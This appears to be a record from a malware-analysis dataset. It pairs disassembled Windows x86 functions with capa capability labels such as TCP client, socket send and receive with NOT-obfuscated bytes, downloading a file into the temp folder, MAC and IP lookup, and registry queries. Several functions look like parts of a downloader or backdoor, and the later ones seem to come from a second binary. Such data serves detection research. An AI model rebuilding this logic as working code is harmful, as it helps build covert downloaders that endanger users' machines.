joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402f70
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x4159a0
push ecx
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
call fcn.00404a82
add esp, 0xc
test eax, eax
je 0x402fb5
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004046ea
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 2
push 0
push dword [ebp - 8]
call fcn.00405850
push dword [ebp - 8]
call fcn.00405c28
push 0
push 0
push dword [ebp - 8]
mov esi, eax
call fcn.00405850
lea eax, [edi + esi]
push eax
mov dword [ebp - 0x10], eax
call fcn.004056f7
push dword [ebp - 8]
mov ebx, eax
push 1
push esi
push ebx
mov dword [ebp - 0x14], ebx
call fcn.00404d54
push dword [ebp - 8]
call fcn.00404e6c
push edi
add ebx, esi
push 0
push ebx
call fcn.004082d0
mov eax, edi
cdq
and edx, 3
add esp, 0x40
lea edi, [edx + eax]
sar edi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00405cb3
add esp, 4
xor esi, esi
test edi, edi
jle 0x40303d
lea ecx, [ecx]
call fcn.00405c90
mov dword [ebx + esi*4], eax
inc esi
cmp esi, edi
jl 0x403030
push 0x4159c0
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.00404a82
add esp, 0xc
test eax, eax
je 0x403068
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004046ea
mov esp, ebp
pop ebp
ret
push dword [ebp - 8]
mov esi, dword [ebp - 0x14]
push 1
push dword [ebp - 0x10]
push esi
call fcn.0040503a
push dword [ebp - 8]
call fcn.00404e6c
add esp, 0x14
test esi, esi
je 0x403091
push esi
call fcn.00405789
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
mov eax, 1
pop edi
call fcn.004046ea
mov esp, ebp
pop ebp
ret
Function at 0x4035b0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x3a98
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
mov dword [ebp - 8], eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4036bd
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x403617
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403627
cmp ebx, 3
jae 0x403691
mov eax, dword [ebp - 8]
jmp 0x4035d3
test edi, edi
jne 0x403691
mov eax, esi
test esi, esi
je 0x40368d
cmp dword [eax + 0x34], 6
jne 0x40363d
cmp dword [eax + 0x1c], 0
jne 0x403648
mov eax, dword [eax + 8]
test eax, eax
jne 0x403631
xor edi, edi
jmp 0x403696
mov ecx, dword [eax + 0x2c]
mov edx, dword [ebp - 0xc]
mov dword [edx], ecx
mov cx, word [eax + 0x30]
mov word [edx + 4], cx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 4]
mov byte [edx + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 5]
mov byte [edx + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
movzx ecx, byte [ecx + 6]
mov byte [edx + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [edx], al
xor edi, edi
jmp 0x403696
mov edi, 0xfffffffd
test esi, esi
je 0x4036aa
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004046ea
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.004046ea
mov esp, ebp
pop ebp
ret
Function at 0x403940
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
call fcn.00403a80
mov dword [ebp - 0x41c], eax
test eax, eax
jne 0x403a69
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004082d0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push eax
call fcn.004082d0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x4193a8
mov edi, edi
cmp word [esi], 0
je 0x4039f6
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.0040482f
add esp, 0xc
lea eax, [ebp - 0x418]
push esi
push 0x104
push eax
call fcn.0040488b
add esp, 0xc
add esi, 0x118
cmp esi, 0x419920
jl 0x4039c0
mov esi, 0x4193a8
lea esp, [esp]
cmp word [esi], 0
je 0x403a24
push ecx
push edi
mov edx, ebx
mov ecx, esi
call fcn.00404390
add esp, 8
add esi, 0x118
cmp esi, 0x419920
jl 0x403a10
push 0x4191a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.0040488b
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x41c]
mov ecx, 2
cmove eax, ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ea
mov esp, ebp
pop ebp
ret
Function at 0x403cd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [ebp - 0x808]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
mov dword [ebp - 0x80c], eax
lea eax, [ebp - 0x9b0]
push eax
push 0x101
mov dword [ebp - 0x9b4], edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403d35
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004046ea
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x403d22
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403d75
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x80c], eax
push 4
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403dce
mov eax, dword [eax + 0xc]
push dword [ebp - 0x9b4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x818], eax
mov eax, 2
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403dce
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004046ea
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
test ecx, ecx
je 0x403ddd
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ea
mov esp, ebp
pop ebp
ret

Function at 0x403f60
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x403fe8
push edi
mov edi, dword [ebp + 8]
xor eax, eax
test edi, edi
jle 0x403f88
nop
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x403f80
lea eax, [edi + 7]
push eax
call fcn.00405e17
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [0x417f10]
mov dword [ecx + 2], eax
mov al, byte [0x417f14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.00408f30
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push 0
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403fde
mov ecx, 1
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.0040620b
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4041f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
xor eax, eax
mov word [esi], ax
mov esi, dword [ecx]
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], ecx
test esi, esi
je 0x404361
test edx, edx
je 0x404361
push 0xc7
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xcb]
push ebx
push eax
call fcn.004082d0
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404371
test eax, eax
je 0x404371
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push edi
push eax
xor esi, esi
call fcn.00405e17
mov edi, eax
mov eax, dword [ebp - 0x8d4]
add esp, 4
test eax, eax
jle 0x404351
lea ebx, [ebx]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40434b
test eax, eax
je 0x40434b
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x4042b0
cmp esi, 5
jl 0x404351
mov ecx, 0x417f10
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x404351
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x404351
test esi, esi
jle 0x404309
lea ecx, [edi + 5]
mov edx, esi
not byte [ecx]
lea ecx, [ecx + 1]
dec edx
jne 0x404301
mov ebx, dword [ebp - 0x8dc]
mov eax, dword [ebx]
cmp eax, esi
jl 0x404331
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.00408f30
mov dword [ebx], esi
add esp, 0xc
mov ebx, 1
jmp 0x404351
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.00408f30
add esp, 0xc
mov ebx, 1
jmp 0x404351
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x40435e
push edi
call fcn.0040620b
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004046ea
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.004046ea
mov esp, ebp
pop ebp
ret
Function at 0x404390
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe24
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x610]
push 0
push eax
mov dword [ebp - 0xe20], edx
mov ebx, ecx
call fcn.004082d0
add esp, 0xc
lea eax, [ebp - 0x610]
push ebx
push 0x1ff
push eax
call fcn.0040482f
mov ecx, ebx
add esp, 0xc
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4043e0
sub ecx, edx
sar ecx, 1
lea edi, [ebp - 0x60e]
mov esi, 0x419920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x404407
sub ebx, ecx
sar ebx, 1
push 0x10000
lea ebx, [ebx*2 + 0x202]
call fcn.004056f7
add esp, 4
mov esi, eax
push 0x10000
push 0
push esi
call fcn.004082d0
add esp, 0xc
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push eax
mov dword [ebp - 0xe1c], 0x10000
call fcn.004082d0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
xor edi, edi
push eax
mov dword [ebp - 0xe18], 0
mov dword [ebp - 0xe14], edi
call fcn.004082d0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xe20]
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00403cd0
add esp, 8
test eax, eax
je 0x40458e
lea eax, [ebp - 0xe10]
push eax
push ebx
lea eax, [ebp - 0x610]
mov ebx, 0xbba
push eax
mov edx, ebx
lea ecx, [ebp - 0xe18]
call fcn.00403df0
add esp, 0xc
test eax, eax
je 0x40458e
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe1c]
push eax
push esi
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.00403ff0
add esp, 0xc
test eax, eax
je 0x40458e
cmp word [ebp - 0xe14], bx
jne 0x40458e
cmp dword [ebp - 0xe1c], edi
je 0x40458e
cmp byte [esi], 0
jne 0x40458e
push 0x4191a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.0040488b
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x4159c0
push eax
lea eax, [ebp - 0xe14]
push eax
mov dword [ebp - 0xe14], edi
call fcn.00404a82
add esp, 0xc
cmp dword [ebp - 0xe14], edi
je 0x404589
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.004045c0
mov edi, 1
test esi, esi
je 0x40459b
push esi
call fcn.00405789
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x4045ac
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ea
mov esp, ebp
pop ebp
ret
Function at 0x4045c0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040b4d0
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 4
mov esi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [esi]
mov ebx, edx
mov dword [ebp - 0x100c], esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x404610
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004046ea
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x404660
jmp 0x404620
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x404660
push dword [ebx]
lea eax, [ebp - 0x1004]
push esi
push 1
push eax
call fcn.0040503a
add edi, esi
mov esi, dword [ebp - 0x100c]
add esp, 0x10
cmp edi, dword [ebp - 0x1008]
jb 0x404620
push dword [ebx]
call fcn.00404e6c
mov ecx, dword [ebp - 4]
add esp, 4
cmp edi, dword [ebp - 0x1008]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.004046ea
mov esp, ebp
pop ebp
ret
Function at 0x40f166
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004065aa
mov dword [ebp - 0x14], eax
cmp dword [0x418d84], edi
jne 0x40f257
push 0x800
push edi
push 0x4125c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40f1e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40f337
push 0x4125c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40f337
push 0x4125d8
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40f337
push eax
call ebx
push 0x4125e4
push esi
mov dword [0x418d84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x4125f4
push esi
mov dword [0x418d88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x412608
push esi
mov dword [0x418d8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x418d94], eax
test eax, eax
je 0x40f254
push 0x412624
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x418d90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40f27c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40f26f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40f291
push 4
pop eax
jmp 0x40f339
cmp dword [ebp - 0x14], edi
je 0x40f291
push dword [0x418d84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40f276
mov eax, dword [0x418d90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40f2ef
cmp dword [0x418d94], esi
je 0x40f2ef
push eax
call ebx
push dword [0x418d94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40f2ef
test eax, eax
je 0x40f2ef
call ecx
test eax, eax
je 0x40f2e4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40f2e4
test byte [ebp - 8], 1
jne 0x40f2ef
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40f31f
mov eax, dword [0x418d88]
cmp eax, esi
je 0x40f31c
push eax
call ebx
test eax, eax
je 0x40f31c
call eax
mov edi, eax
test edi, edi
je 0x40f31c
mov eax, dword [0x418d8c]
cmp eax, esi
je 0x40f31c
push eax
call ebx
test eax, eax
je 0x40f31c
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x418d84]
call ebx
test eax, eax
je 0x40f337
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40f339
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ea
leave
ret
Function at 0x4028d0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x4028ff
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403a18
jmp 0x40291d
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00402864
mov edi, eax
test ebx, ebx
je 0x40291d
cmp dword [esi], 0
je 0x40291d
dec ebx
jmp 0x402906
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402c5c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402cf4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402cd4
xor eax, eax
push ebp
push 0x402ccd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402d10
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402cd4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret

Function at 0x4038e8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402678
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x460041], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4038b0
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x40463c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4047d8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4046ec
xor eax, eax
push ebp
push 0x4046e5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4046ce
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4047f8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4046ec
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4047cd
cmp byte [ebp - 0xd], 0
jne 0x40472e
cmp byte [ebp - 0x12], 0
je 0x4047cd
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404747
dec ebx
cmp byte [ebx], 0x2e
je 0x404756
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404746
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4047cd
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404783
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4047cd
cmp byte [ebp - 0xd], 0
je 0x4047cd
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4047cd
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404cdc
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, edx
mov edx, dword [ebx + 4]
sub edx, 0xd7b1
cmp edx, 2
ja 0x404d38
push ecx
push 0
mov eax, esp
push 0
push eax
mov eax, dword [ebx + 8]
mul ecx
push eax
push esi
push dword [ebx]
call sub.kernel32.dll_ReadFile
dec eax
pop eax
pop ecx
jne 0x404d2a
xor edx, edx
div dword [ebx + 8]
mov edx, dword [esp + 0xc]
test edx, edx
je 0x404d1f
mov dword [edx], eax
pop esi
pop ebx
ret 4
cmp eax, ecx
je 0x404d1a
mov eax, 0x64
jmp 0x404d2f
call sub.kernel32.dll_GetLastError
call fcn.0040275c
xor eax, eax
jmp 0x404d1a
mov eax, 0x67
jmp 0x404d2f